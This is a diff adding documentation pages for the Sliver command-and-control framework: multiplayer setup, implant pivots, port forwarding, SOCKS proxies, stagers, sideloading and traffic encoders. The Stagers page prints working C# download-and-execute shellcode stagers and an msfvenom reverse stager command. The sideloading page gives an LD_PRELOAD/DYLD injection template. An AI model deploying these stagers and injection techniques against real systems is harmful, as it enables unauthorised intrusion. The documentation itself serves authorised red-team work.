+[*] Saved new client config to: /Users/moloch/Desktop/moloch_example.com.cfg
+
+[server] sliver > multiplayer
+
+[*] Multiplayer mode enabled!
+
+```
+
+**IMPORTANT:** Before clients can connect to a server you must start an RPC listener with the `multiplayer` command. The default port is TCP/31337.
+
+You can now give this configuration file `moloch_example.com.cfg` to the operator and they can connect to the server using the `sliver-client` binary. The sliver client will look for configuration files in `~/.sliver-client/configs/` or you can import configs using the `import` cli. The configs directory can contain multiple configs for different servers.
+
+```
+$ ./sliver-client import ./moloch_example.com.cfg
+
+$ ./sliver-client
+? Select a server: [Use arrows to move, type to filter]
+> example.com
+ localhost
+```
+
+### Server CLI / Daemon Mode Multiplayer
+
+If the server is running in daemon mode (as is the default with the Linux install script), that means the multiplayer listener is started for you without an interactive console. You can use the server binaries' CLI to generate operator configuration files to connect:
+
+```
+./sliver-server operator --name zer0cool --lhost 1.2.3.4 --save zer0cool.cfg
+```
+
+The installation scripts by default will place the `sliver-server` binary in `/root`.
+
+### Tailscale Integration
+
+⚠️ This section describes an unreleased feature from an upcoming version ⚠️
+
+Starting in v1.6 Sliver supports multiplayer integration with [Tailscale](https://tailscale.com/), which is an excellent option when wanting to maintain operational security.
+
+```
+$ export TS_AUTHKEY=
+$ ./sliver-server
+
+sliver > multiplayer -T
+```
+
+You should now see a new Tailscale host named `sliver-server-`, you can set this using the `--lhost` flag. Use this as the hostname when connecting to the Sliver server from any other host on the Tailscale network.
diff --git a/docs/sliver-docs/pages/docs/md/Pivots.md b/docs/sliver-docs/pages/docs/md/Pivots.md
new file mode 100644
index 0000000000..1e299ee84f
--- /dev/null
+++ b/docs/sliver-docs/pages/docs/md/Pivots.md
@@ -0,0 +1,58 @@
+⚠️ **IMPORTANT:** Pivots in Sliver are used for specifically pivoting C2 traffic, not to be confused with port forwarding `portfwd`, which is used for tunneling generic tcp connections into a target environment.
+
+⚠️ **IMPORTANT:** Pivots can only be used in "session mode" (we may add beacon support later)
+
+Pivots allow you to create "chains" of implant connections, for example if you're trying to deploy a pivot into a highly restricted subnet that cannot route traffic directly to the internet you can instead create an implant that egresses all traffic via another implant in a less restricted subnet. Sliver v1.5 and later pivots can be arbitrarily nested, for example a pivot A can connect thru pivot B to a third egress implant.
+
+In Sliver you use an existing session to create a "pivot listener" and then generate new pivots that can connect back to that listener, just as you would with other C2 protocols/endpoints.
+
+Pivots perform an [authenticated peer-to-peer cryptographic key exchange](https://github.com/BishopFox/sliver/wiki/Transport-Encryption#implant-to-implant-key-exchange-pivots) regardless of the underlying pivot protocol, therefore pivots can only communicate with other implants generated by the same server; this restriction cannot be disabled.
+
+## TCP Pivots
+
+TCP pivots are implemented in pure Go and are supported on all platforms.
+
+```
+[server] sliver (PRIOR_MANTEL) > pivots tcp
+
+[*] Started tcp pivot listener :9898 with id 1
+
+[server] sliver (PRIOR_MANTEL) > pivots
+
+ ID Protocol Bind Address Number Of Pivots
+==== ========== ============== ==================
+ 1 TCP :9898 0
+```
+
+We can now use `generate --tcp-pivot 192.168.1.1:9898` to generate an implant that will connect to the pivot listener, where `192.168.1.1` is the local IP of the server on which we started the listener.
+
+## Named Pipe Pivots (SMB)
+
+Named pipe pivots are only supported on Windows. Select a session to start a named pipe listener, and then use the `--bind` flag to specify a pipe name. Pipes are automatically started on the local machine so you only need to specify a name, remote clients are always allowed to connect to the pipe, but the default ACL will only allow the current user/group. You can allow all user/groups by using the `--allow-all` flag:
+
+```
+[*] Session a2615359 WARM_DRIVEWAY - 192.168.1.178:59290 (WIN-1TT1Q345B37) - windows/amd64 - Mon, 07 Feb 2022 10:09:20 CST
+
+[server] sliver > use a2615359-b0a4-4463-820b-f4dbe6fb2c30
+
+[*] Active session WARM_DRIVEWAY (a2615359-b0a4-4463-820b-f4dbe6fb2c30)
+
+[server] sliver (WARM_DRIVEWAY) > pivots named-pipe --bind foobar
+
+[*] Started named pipe pivot listener \\.\pipe\foobar with id 1
+```
+
+Next we generate a named pipe implant using `generate --named-pipe 192.168.1.1/pipe/foobar` note here we may need to specify the IP address of the listener: `192.168.1.1`. The syntax is `/pipe/`, note that `.` is equivalent to `127.0.0.1`. This is just the standard syntax for Windows named pipes.
+
+```
+[*] Session 13f9ee6b ROUND_ATELIER - 192.168.1.178:59290->WARM_DRIVEWAY-> (WIN-1TT1Q345B37) - windows/amd64 - Mon, 07 Feb 2022 10:15:11 CST
+
+[server] sliver (WARM_DRIVEWAY) > sessions
+
+ ID Name Transport Remote Address Hostname Username Operating System Last Check-In Health
+========== =============== =========== ====================================== ================= =============================== ================== =============================== =========
+ 13f9ee6b ROUND_ATELIER pivot 192.168.1.178:59290->WARM_DRIVEWAY-> WIN-1TT1Q345B37 WIN-1TT1Q345B37\Administrator windows/amd64 Mon, 07 Feb 2022 10:15:11 CST [ALIVE]
+ a2615359 WARM_DRIVEWAY mtls 192.168.1.178:59290 WIN-1TT1Q345B37 WIN-1TT1Q345B37\Administrator windows/amd64 Mon, 07 Feb 2022 10:15:11 CST [ALIVE]
+```
+
+⚠️ **IMPORTANT:** In some environments you may need to use the `--allow-all` flag when starting the pviot listener to allow all users/groups
diff --git a/docs/sliver-docs/pages/docs/md/Port Forwarding.md b/docs/sliver-docs/pages/docs/md/Port Forwarding.md
new file mode 100644
index 0000000000..1cfd4f40d6
--- /dev/null
+++ b/docs/sliver-docs/pages/docs/md/Port Forwarding.md
@@ -0,0 +1,90 @@
+Sliver provides two mechanisms for port forwarding to tunnel additional connections / tools into the target environment via an implant:
+
+- `portfwd` - This command (available on all C2s) uses Sliver's in-band tunnels to transfer data between your local machine and the implant network (i.e., if you're using HTTP C2 all port forwarded traffic is tunneled over HTTP, same for mTLS/DNS/etc.)
+- `wg-portfwd` - This command uses WireGuard port forwarding, and is only available when using WireGuard C2.
+
+**NOTE:** Generally speaking `wg-portfwd` is faster and more reliable, we recommend using it whenever possible. Some protocols may be unstable, or may not work when tunneled via `portfwd`. However, `wg-portfwd` does requires a little extra setup (see below).
+
+## In-Band Tunneled Port Forwarding
+
+Tunneled port forwarding can be done over any C2 transport, and should work out of the box. Interact with the session you'd like to port forward through and use the `portfwd add` command:
+
+```
+sliver (STUCK_ARTICLE) > portfwd add --remote 10.10.10.10:22
+
+[*] Port forwarding 127.0.0.1:8080 -> 10.10.10.10:22
+```
+
+By default all port forwards will be bound to the `127.0.0.1` interface, but you can override this using the `--bind` flag. Port forwarding also works in `multiplayer` mode and will forward ports to your local system.
+
+#### Reverse Port Forwarding
+
+As of v1.5.27 Sliver also supports reverse port forwarding via the `rportfwd` command.
+
+## WireGuard Port Forwarding
+
+In order to use `wg-portfwd` you'll need a WireGuard client, any client should work. However, we recommend using `wg-quick`, which is included in the `wireguard-tools` package available on most platforms (see [WireGuard](https://www.wireguard.com/install/) for more platforms):
+
+- MacOS `brew install wireguard-tools`
+- Ubuntu/Kali `sudo apt install wireguard-tools`
+
+First generate a WireGuard C2 implant (using `generate --wg`), and then start a WireGuard listener:
+
+```
+sliver > wg
+
+[*] Starting Wireguard listener ...
+[*] Successfully started job #1
+
+sliver > jobs
+
+ID Name Protocol Port
+== ==== ======== ====
+1 wg udp 53
+```
+
+Next, using Sliver you can create WireGuard client configuration using the `wg-config` command (you can use `--save` to write the configuration directly to a file):
+
+```
+sliver > wg-config
+
+[*] New client config:
+[Interface]
+Address = 100.64.0.16/16
+ListenPort = 51902
+PrivateKey = eMdqQ5zEF9Oflj+7wfyFQZjES02rfSBfZEN701FzmmQ=
+MTU = 1420
+
+[Peer]
+PublicKey = HNFS0FydHkuCtEFPPFb3b2IW7iSmFajRJ2qSjifidiM=
+AllowedIPs = 100.64.0.0/16
+Endpoint =
+```
+
+The only thing in the configuration file you'll need to change is the `Endpoint` setting, configure this to point to the Sliver server's WireGuard listener, and ensure to include the port number (by default UDP 53). Generally this will be the same value you specified as `--lhost` when generating the binary.
+
+Make sure your WireGuard listener is running and connect using the client configuration:
+
+```
+$ wg-quick up wireguard.conf
+```
+
+Now that your machine is connected to the Sliver WireGuard listener, just wait for an implant to connect:
+
+```
+sliver > sessions
+
+ID Name Transport Remote Address Hostname Username Operating System Last Check-in Health
+== ==== ========= ============== ======== ======== ================ ============= ======
+1 STUCK_ARTICLE wg 100.64.0.17:53565 MacBook-Pro jdoe darwin/amd64 Wed, 12 Apr 2021 19:21:00 CDT [ALIVE]
+```
+
+Interact with the session, and use `wg-portfwd add` to create port forwards:
+
+```
+sliver (STUCK_ARTICLE) > wg-portfwd add --remote 10.10.10.10:3389
+
+[*] Port forwarding 100.64.0.17:1080 -> 10.10.10.10:3389
+```
+
+You can now connect to `100.64.0.17:1080` via your WireGuard interface and the connection will come out at `10.10.10.10:3389`!
diff --git a/docs/sliver-docs/pages/docs/md/Reverse SOCKS.md b/docs/sliver-docs/pages/docs/md/Reverse SOCKS.md
new file mode 100644
index 0000000000..c9c47cdb99
--- /dev/null
+++ b/docs/sliver-docs/pages/docs/md/Reverse SOCKS.md
@@ -0,0 +1,74 @@
+Sliver supports two types of SOCKS5 proxies, an "in-band" proxy that tunnels though any C2 protocol, and WireGuard SOCKS proxy (only available when using WireGuard C2).
+
+## In-band SOCKS5
+
+An in-band reverse SOCKS5 proxy is supported in Sliver versions 1.5 and later. Note that the SOCKS proxy feature can only be used on sessions (i.e., interactive sessions) and not beacons.
+
+```
+sliver (UGLY_SCARIFICATION) > socks5 add
+
+[*] Started SOCKS5 127.0.0.1 1081
+⚠️ In-band SOCKS proxies can be a little unstable depending on protocol
+```
+
+Simply upstream to `127.0.0.1:1081` from here, see `socks5 add --help` for more options.
+
+## WireGuard SOCKS5
+
+In order to use `wg-socks` you'll need a WireGuard client, any client should work. However, we recommend using `wg-quick`, which is included in the `wireguard-tools` package available on most platforms (see [WireGuard](https://www.wireguard.com/install/) for more platforms):
+
+- MacOS `brew install wireguard-tools`
+- Ubuntu/Kali `sudo apt install wireguard-tools`
+
+First generate a WireGuard C2 implant (using `generate --wg`), and then start a WireGuard listener:
+
+```
+sliver > wg
+
+[*] Starting Wireguard listener ...
+[*] Successfully started job #1
+
+sliver > jobs
+
+ID Name Protocol Port
+== ==== ======== ====
+1 wg udp 53
+```
+
+Next, using Sliver you can create WireGuard client configuration using the `wg-config` command (you can use `--save` to write the configuration directly to a file):
+
+```
+sliver > wg-config
+
+[*] New client config:
+[Interface]
+Address = 100.64.0.16/16
+ListenPort = 51902
+PrivateKey = eMdqQ5zEF9Oflj+7wfyFQZjES02rfSBfZEN701FzmmQ=
+MTU = 1420
+
+[Peer]
+PublicKey = HNFS0FydHkuCtEFPPFb3b2IW7iSmFajRJ2qSjifidiM=
+AllowedIPs = 100.64.0.0/16
+Endpoint =
+```
+
+The only thing in the configuration file you'll need to change is the `Endpoint` setting, configure this to point to the Sliver server's WireGuard listener, and ensure to include the port number (by default UDP 53). Generally this will be the same value you specified as `--lhost` when generating the binary.
+
+Make sure your WireGuard listener is running and connect using the client configuration:
+
+```
+$ wg-quick up wireguard.conf
+```
+
+Now that your machine is connected to the Sliver WireGuard listener, just wait for an implant to connect:
+
+```
+sliver > sessions
+
+ID Name Transport Remote Address Hostname Username Operating System Last Check-in Health
+== ==== ========= ============== ======== ======== ================ ============= ======
+1 STUCK_ARTICLE wg 100.64.0.17:53565 MacBook-Pro jdoe darwin/amd64 Wed, 12 Apr 2021 19:21:00 CDT [ALIVE]
+```
+
+Interact with the session, and use `wg-socks` to create a SOCKS proxy!
diff --git a/docs/sliver-docs/pages/docs/md/Stagers.md b/docs/sliver-docs/pages/docs/md/Stagers.md
new file mode 100644
index 0000000000..ee2cc360bc
--- /dev/null
+++ b/docs/sliver-docs/pages/docs/md/Stagers.md
@@ -0,0 +1,225 @@
+**⚠️ Important:** You must have MinGW installed on your Sliver server to get some staged (e.g., Windows DLLs) payloads to work.
+
+## Overview
+
+As payloads can be pretty big (around 10MB), you may sometime require the use of stagers to execute your implant on a target system.
+
+Sliver supports the `meterpreter` staging protocol over TCP and HTTP(S). This protocol is pretty straight forward:
+
+- read the size of the stage 2 payload on the wire (the first 4 bytes for the TCP stager)
+- download the stage 2
+- allocate the size read in the first step, and write the stage in memory
+
+For this to work, we need the following pieces:
+
+- a staging server (the Sliver server)
+- a stage 2 payload (usually a Sliver shellcode, but can be in other formats)
+- stagers (generated by `msfvenom`, the Sliver `generate stager` command, or a custom one)
+
+## Example
+
+Sliver implements staging by reusing the profiles feature. Profiles are sorts of implant blueprints that define a configuration to be reused by the `profiles new` command.
+The following command creates a new profile that we will use for our staging listener:
+
+```
+sliver > profiles new --mtls 192.168.122.1 --format shellcode win-shellcode
+
+[*] Saved new profile win-shellcode
+
+sliver > profiles
+
+Name Platform Command & Control Debug Format Obfuscation Limitations
+==== ======== ================= ===== ====== =========== ===========
+win-shellcode windows/amd64 [1] mtls://192.168.122.1:8888 false SHELLCODE enabled
+```
+
+We can now create a staging listener and link it to the profile:
+
+```
+sliver > stage-listener --url http://192.168.122.1:1234 --profile win-shellcode
+
+[*] No builds found for profile win-shellcode, generating a new one
+[*] Job 1 (tcp) started
+sliver > jobs
+
+ID Name Protocol Port
+== ==== ======== ====
+1 http tcp 1234
+2 mtls tcp 8888
+```
+
+### Metasploit: Bring Your Own Stager
+
+If you want to use [stagers generated by the Metasploit Framework with Sliver](https://www.rapid7.com/blog/post/2022/09/16/metasploit-weekly-wrap-up-176/) (using `msfconsole`, `msfvenom` or the `generate stager` command), you will need to pass the additional `--prepend-size` flag to `stage-listener`, like this:
+
+```
+sliver > stage-listener --url http://192.168.122.1:1234 --profile win-shellcode --prepend-size
+```
+
+This will prepend the size of the payload to the final binary sent to the stager, as required by Metasploit's `custom` payloads.
+
+Sliver staging listeners only accept `tcp://`, `http://` and `https://` schemes for the `--url` flag. The format for this flag is `scheme://IP:PORT`. If no value is specified for `PORT`, an error will be thrown out.
+
+We can now generate a stager using the `generate stager` command:
+
+```
+sliver > generate stager --lhost 192.168.122.1 --lport 1234 --protocol http --save /tmp
+
+[*] Sliver stager saved to: /tmp/CIRCULAR_BRA
+```
+
+By default, the staging protocol used is TCP. The `--protocol` flag can be used to specify either `tcp`, `http` or `https` as the staging protocol.
+The generated shellcode can now be used on the target system to start a new Sliver session.
+
+## Generating Stagers with the Metasploit Framework
+
+The Metasploit framework can also be used to generate stager shellcodes or binaries. One can use either `msfconsole` or `msfvenom` directly, and choose a `custom` payload type:
+
+```
+msfvenom -p windows/x64/custom/reverse_winhttp LHOST=192.168.122.1 LPORT=1234 LURI=/hello.woff -f raw -o /tmp/stager.bin
+```
+
+**Remark**: At the moment, the `custom/reverse_http` payload is not compatible with Sliver shellcodes (the stager crashes). However, one can use the `custom/reverse_winhttp` payload instead.
+
+## Custom Stagers
+
+One thing to consider while writing or using a custom stager, especially for the HTTP protocol, is that the Sliver server will only serve stage 2 payloads on specifically defined URLs. Indeed, since the HTTP staging listener is reusing the regular HTTP listener, it follows the same [procedural HTTP protocol]().
+
+The default file extension used to retrieve a stage 2 payload is `.woff`. It can be configured in the [HTTP C2 options]() using the `stager_file_ext` setting.
+
+As a result, if you want to implement your own stager to fetch a stage 2 payload via HTTP, you need to query a URL that looks like this: `http://SLIVER-SERVER:STAGING-PORT/whatever.woff`.
+
+Here is a C# example of a custom HTTP stager, make sure to compile the C# code for the correct CPU architecture e.g. `/platform:x64`:
+
+```csharp
+using System;
+using System.Net;
+using System.Runtime.InteropServices;
+
+namespace SliverStager
+{
+ public class Stager
+ {
+ private static string url = "http://a.bc/test.woff";
+
+ [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
+ static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
+
+ [DllImport("kernel32.dll")]
+ static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
+
+ [DllImport("kernel32.dll")]
+ static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
+
+ public static void DownloadAndExecute()
+ {
+ ServicePointManager.ServerCertificateValidationCallback += (sender, certificate, chain, sslPolicyErrors) => true;
+ System.Net.WebClient client = new System.Net.WebClient();
+ byte[] shellcode = client.DownloadData(url);
+ IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, 0x3000, 0x40);
+ Marshal.Copy(shellcode, 0, addr, shellcode.Length);
+ IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
+ WaitForSingleObject(hThread, 0xFFFFFFFF);
+ return;
+ }
+
+ public static void Main(String[] args)
+ {
+ DownloadAndExecute();
+ }
+ }
+}
+```
+
+## Encrypted Stage Example
+
+Sliver supports encryption and compression when serving stages. Compression options are `zlib`, `gzip`, and `deflate` (level 9). Encryption is done via AES-CBC-128, since this encryption is primarily for obfuscation we don't really need a more secure cipher mode.
+
+```
+stage-listener --url http://192.168.0.52:80 --profile win-shellcode --aes-encrypt-key D(G+KbPeShVmYq3t --aes-encrypt-iv 8y/B?E(G+KbPeShV
+```
+
+If aes-encrypt-iv is not set it defaults to `0000000000000000`. After the stage generation is completed AES key and iv are displayed. Note that this example does not include compression:
+
+```csharp
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Net;
+using System.Runtime.InteropServices;
+using System.Security.Cryptography;
+using System.Text;
+
+namespace Sliver_stager
+{
+ class Program
+ {
+ private static string AESKey = "D(G+KbPeShVmYq3t";
+ private static string AESIV = "8y/B?E(G+KbPeShV";
+ private static string url = "http://192.168.24.128:8443/test.woff";
+
+ [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
+ static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
+
+ [DllImport("kernel32.dll")]
+ static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
+
+ [DllImport("kernel32.dll")]
+ static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
+
+ public static void DownloadAndExecute()
+ {
+ ServicePointManager.ServerCertificateValidationCallback += (sender, certificate, chain, sslPolicyErrors) => true;
+ System.Net.WebClient client = new System.Net.WebClient();
+ byte[] shellcode = client.DownloadData(url);
+
+ List l = new List { };
+
+ for (int i = 16; i <= shellcode.Length -1; i++) {
+ l.Add(shellcode[i]);
+ }
+
+ byte[] actual = l.ToArray();
+
+ byte[] decrypted;
+
+ decrypted = Decrypt(actual, AESKey, AESIV);
+ IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)decrypted.Length, 0x3000, 0x40);
+ Marshal.Copy(decrypted, 0, addr, decrypted.Length);
+ IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
+ WaitForSingleObject(hThread, 0xFFFFFFFF);
+ return;
+ }
+
+ private static byte[] Decrypt(byte[] ciphertext, string AESKey, string AESIV)
+ {
+ byte[] key = Encoding.UTF8.GetBytes(AESKey);
+ byte[] IV = Encoding.UTF8.GetBytes(AESIV);
+
+ using (Aes aesAlg = Aes.Create())
+ {
+ aesAlg.Key = key;
+ aesAlg.IV = IV;
+ aesAlg.Padding = PaddingMode.None;
+
+ ICryptoTransform decryptor = aesAlg.CreateDecryptor(aesAlg.Key, aesAlg.IV);
+
+ using (MemoryStream memoryStream = new MemoryStream(ciphertext))
+ {
+ using (CryptoStream cryptoStream = new CryptoStream(memoryStream, decryptor, CryptoStreamMode.Write))
+ {
+ cryptoStream.Write(ciphertext, 0, ciphertext.Length);
+ return memoryStream.ToArray();
+ }
+ }
+ }
+ }
+
+ public static void Main(String[] args)
+ {
+ DownloadAndExecute();
+ }
+ }
+}
+```
diff --git a/docs/sliver-docs/pages/docs/md/Third Party Tools.md b/docs/sliver-docs/pages/docs/md/Third Party Tools.md
new file mode 100644
index 0000000000..a8b94fdf35
--- /dev/null
+++ b/docs/sliver-docs/pages/docs/md/Third Party Tools.md
@@ -0,0 +1,169 @@
+# Sideloading features
+
+Sliver implants support three different ways of loading third party tools:
+
+- `execute-assembly`
+- `sideload`
+- `spawndll`
+
+## Known limitations
+
+Arguments passed to .NET assemblies and non-reflective PE extensions are limited to 256 characters. This is due to a limitation in the Donut loader Sliver is using. A workaround for .NET assemblies is to execute them in-process, using the `--in-process` flag, or a custom BOF extension like `inline-execute-assembly`. There is currently no workaround for non-reflective PE extension.
+
+## .NET assemblies loading
+
+This feature is only supported on Windows.
+
+Using `execute-assembly`, one can run an arbitrary .NET assembly on a remote system via a Sliver implant. The implant will start a sacrificial process (`notepad.exe` by default, you can change this by using the `--process`) that will host a reflective DLL used to load the .NET CLR. The assembly will then be copied into this process and a new thread will start on the reflective DLL entrypoint, which will load and run the assembly in memory.
+
+Here's an example with [Seatbelt](https://github.com/GhostPack/Seatbelt):
+
+```
+sliver (CONCRETE_STEEL) > execute-assembly -t 80 /tmp/Seatbelt.exe All
+[*] Assembly output:
+
+ %&&@@@&&
+ &&&&&&&%%%, #&&@@@@@@%%%%%%###############%
+ &%& %&%% &////(((&%%%%%#%################//((((###%%%%%%%%%%%%%%%
+%%%%%%%%%%%######%%%#%%####% &%%**# @////(((&%%%%%%######################(((((((((((((((((((
+#%#%%%%%%%#######%#%%####### %&%,,,,,,,,,,,,,,,, @////(((&%%%%%#%#####################(((((((((((((((((((
+#%#%%%%%%#####%%#%#%%####### %%%,,,,,, ,,. ,, @////(((&%%%%%%%######################(#(((#(#((((((((((
+#####%%%#################### &%%...... ... .. @////(((&%%%%%%%###############%######((#(#(####((((((((
+#######%##########%######### %%%...... ... .. @////(((&%%%%%#########################(#(#######((#####
+###%##%%#################### &%%............... @////(((&%%%%%%%%##############%#######(#########((#####
+#####%###################### %%%.. @////(((&%%%%%%%################
+ &%& %%%%% Seatbelt %////(((&%%%%%%%%#############*
+ &%%&&&%%%%% v0.2.0 ,(((&%%%%%%%%%%%%%%%%%,
+ #%%%%##,
+
+=== Running System Triage Checks ===
+
+=== Basic OS Information ===
+
+ Hostname : DESKTOP-0QQJ4JL
+ Domain Name :
+ Username : DESKTOP-0QQJ4JL\lab
+ ProductName : Windows 10 Pro
+ EditionID : Professional
+ ReleaseId : 1909
+ BuildBranch : 19h1_release
+ CurrentMajorVersionNumber : 10
+ CurrentVersion : 6.3
+ Architecture : AMD64
+ ProcessorCount : 2
+ IsVirtualMachine : True
+ BootTime (approx) : 5/19/2020 8:55:55 AM
+ HighIntegrity : False
+ IsLocalAdmin : True
+ [*] In medium integrity but user is a local administrator- UAC can be bypassed.
+...
+```
+
+## Shared libraries side loading
+
+The `sideload` command allows to load and run code in-memory (Windows/Linux) or via dropping a temporary file to disk (MacOS). On Windows, the DLL will be converted to a shellcode via [sRDI](https://github.com/monoxgas/sRDI) and injected into a sacrificial process.
+
+On Linux systems, Sliver uses the `LD_PRELOAD` technique to preload a shared library previously written in a memory file descriptor using the `memfd_create` syscall. That way, no file is stored on disk, which grants the implant a bit of stealth. The shared library is preloaded in a sacrificial process, which is `/bin/ls` by default.
+
+On MacOS systems, Sliver uses the `DYLD_INSERT_LIBRARIES` environment variable to preload a dynamic library into a program, chosen by the operator. The target program must allow unsigned libraries to be loaded that way.
+
+No specific operation is performed by Sliver for Linux and Mac OS shared libraries, which means it's up to the operator to build their shared libraries to execute whenever they see fit. A good starting point would be using the `constructor` attribute for MacOS shared libraries, or adding a `.init_array` section for the Linux version.
+
+Sliver will use the `LD_PARAMS` environment variable to pass arguments to the sideloaded libraries. Thus, the library can just read this environment variable to retrieve parameters and act accordingly.
+
+Here's a starting point :
+
+```c
+#if __linux__
+#include
+
+void DoStuff();
+
+static void init(int argc, char **argv, char **envp)
+{
+ // unset LD_PRELOAD to prevent sub processes from misbehaving
+ unsetenv("LD_PRELOAD");
+ // retrieve the LD_PARAMS value
+ // unset LD_PARAMS if there's no need for it anymore
+ unsetenv("LD_PARAMS");
+ DoStuff();
+}
+__attribute__((section(".init_array"), used)) static typeof(init) *init_p = init;
+#elif __APPLE__
+void DoStuff();
+
+__attribute__((constructor)) static void init(int argc, char **argv, char **envp)
+{
+ // unset DYLD_INSERT_LIBRARIES to prevent sub processes from misbehaving
+ unsetenv("DYLD_INSERT_LIBRARIES");
+ // retrieve the LD_PARAMS value
+ // unset LD_PARAMS if there's no need for it anymore
+ unsetenv("LD_PARAMS");
+ DoStuff();
+}
+
+#endif
+```
+
+Don't forget to unset the `LD_PRELOAD` or `DYLD_INSERT_LIBRARIES` environment variables, otherwise any sub process started by your shared library or host process will be preloaded with your shared library.
+
+To side load a shared library, use the `sideload` command like this:
+
+```
+// Windows example
+sliver (CONCRETE_STEEL) > sideload -e ChromeDump /tmp/chrome-dump.dll
+// Linux example
+sliver (CONCRETE_STEEL) > sideload -p /bin/bash -a "My arguments" /tmp/mylib.so
+// MacOS example
+sliver (CONCRETE_STEEL) > sideload -p /Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment -a 'Hello World' /tmp/mylib.dylib
+```
+
+Please be aware that you need to specify the entrypoint to execute for Windows DLLs.
+
+## Loading reflective DLLs
+
+Loading reflective DLLs is just a special case of side loading DLLs. To make things easier, the `spawndll` command allows you to inject reflective DLLs and run them in a remote process.
+
+Here's an example with the `PsC` tool from [Outflank's Ps-Tools suite](https://github.com/outflanknl/Ps-Tools):
+
+```
+sliver (CONCRETE_STEEL) > spawndll /tmp/Outflank-PsC.dll blah
+[*] Output:
+
+--------------------------------------------------------------------
+[+] ProcessName: svchost.exe
+ ProcessID: 2960
+ PPID: 576 (services.exe)
+ CreateTime: 19/05/2020 10:53
+ Path: C:\Windows\System32\svchost.exe
+ ImageType: 64-bit
+ CompanyName: Microsoft Corporation
+ Description: Host Process for Windows Services
+ Version: 10.0.18362.1
+
+<-> Session: TCP
+ State: ESTABLISHED
+ Local Addr: 172.16.241.128:49819
+ Remote Addr: 40.67.251.132:443
+
+--------------------------------------------------------------------
+[+] ProcessName: CONCRETE_STEEL.exe
+ ProcessID: 7400
+ PPID: 5440 (explorer.exe)
+ CreateTime: 19/05/2020 10:54
+ SessionID: 1
+ Path: C:\Users\lab\Desktop\CONCRETE_STEEL.exe
+ ImageType: 64-bit
+ UserName: DESKTOP-0QQJ4JL\lab
+ Integrity: Medium
+ PEB Address: 0x0000000000352000
+ ImagePath: C:\Users\lab\Desktop\CONCRETE_STEEL.exe
+ CommandLine: "C:\Users\lab\Desktop\CONCRETE_STEEL.exe"
+
+<-> Session: TCP
+ State: ESTABLISHED
+ Local Addr: 172.16.241.128:49687
+ Remote Addr: 172.16.241.1:8888
+```
+
+Note that in this case, the entrypoint of the reflective DLL (`ReflectiveLoader`) expects a non NULL parameter, which is why we passed a dummy parameter `blah`.
diff --git a/docs/sliver-docs/pages/docs/md/Traffic Encoders.md b/docs/sliver-docs/pages/docs/md/Traffic Encoders.md
new file mode 100644
index 0000000000..f474c0f119
--- /dev/null
+++ b/docs/sliver-docs/pages/docs/md/Traffic Encoders.md
@@ -0,0 +1,53 @@
+⚠️ This page describes an unreleased feature from an upcoming version ⚠️
+
+As of v1.6.0 Sliver supports user-defined "Traffic Encoders," which can be used to arbitrarily modify the Sliver implant's network communication over HTTP(S). Traffic Encoders are [Wasm-based](https://webassembly.org/) callback functions that encode/decode network traffic between the implant and the server. Traffic encoders can be written in any language that compiles to [Wasm](https://webassembly.org/). Traffic encoders are supported on all platforms and CPU architectures that Sliver can target, though performance may vary significantly.
+
+[Examples](https://github.com/BishopFox/sliver/tree/v1.6.0/master/server/assets/traffic-encoders) are provided in this repository of a [Rust](https://www.rust-lang.org/)-based and a [TinyGo](https://tinygo.org/)-based encoder. For performance reasons we recommend implementing Traffic Encoders in Rust.
+
+For performance reasons, by default C2 messages over 2Mb in size are NOT passed through user-defined Traffic Encoders, but instead always use a native built-in encoder; this limit can be configured at implant generation-time.
+
+## Traffic Encoder Specification
+
+### Exports
+
+Traffic encoders are implemented in Wasm, and must export the following functions:
+
+```go
+decode(ptr, size uint32) (ptrSize uint64)
+encode(ptr, size uint32) (ptrSize uint64)
+
+malloc(size uint32) uint64
+free(ptr uint32, size uint32)
+```
+
+The `encode` function takes a `uint32` pointer to a buffer and the `uint32` size of the buffer, and returns a `uint64` value where the upper 32 bits are a pointer to the address of the buffer and the lower 32 bits are the size of the buffer.
+
+The `decode` function takes a `uint32` pointer to a buffer and the `uint32` size of the buffer, and returns a `uint64` value where the upper 32 bits are a pointer to the address of the buffer and the lower 32 bits are the size of the buffer.
+
+The `malloc` function takes a `uint64` size. The function should allocate a buffer of the given size in bytes, and return a pointer to.
+
+The `free` function takes a pointer to memory which should be freed and a size.
+
+For example, a return value in Go may look like:
+
+```go
+return (uint64(ptr) << uint64(32)) | uint64(size)
+```
+
+Where `ptr` is a pointer to the buffer and `size` is the size of the buffer.
+
+### Imports
+
+Optionally, the following imports may be used:
+
+```go
+log(ptr uint32, size uint32)
+rand() uint64
+time() int64
+```
+
+The `log` function takes a pointer to a buffer and the size of the buffer, and logs the contents of the buffer to the console if the implant is in debug mode. On the server will also log the contents if configured to log at the DEBUG level or higher.
+
+The `rand()` function returns 64-bits of cryptographically secure random data.
+
+The `time()` function returns the current Unix Nano time as an `int64`.
diff --git a/docs/sliver-docs/pages/docs/md/Transport Encryption.md b/docs/sliver-docs/pages/docs/md/Transport Encryption.md
new file mode 100644
index 0000000000..8b144abccb
--- /dev/null
+++ b/docs/sliver-docs/pages/docs/md/Transport Encryption.md
@@ -0,0 +1,100 @@
+**⚠️ NOTE:** This document does not apply when mTLS or WireGuard are used.
+
+# Versions 1.5.40+
+
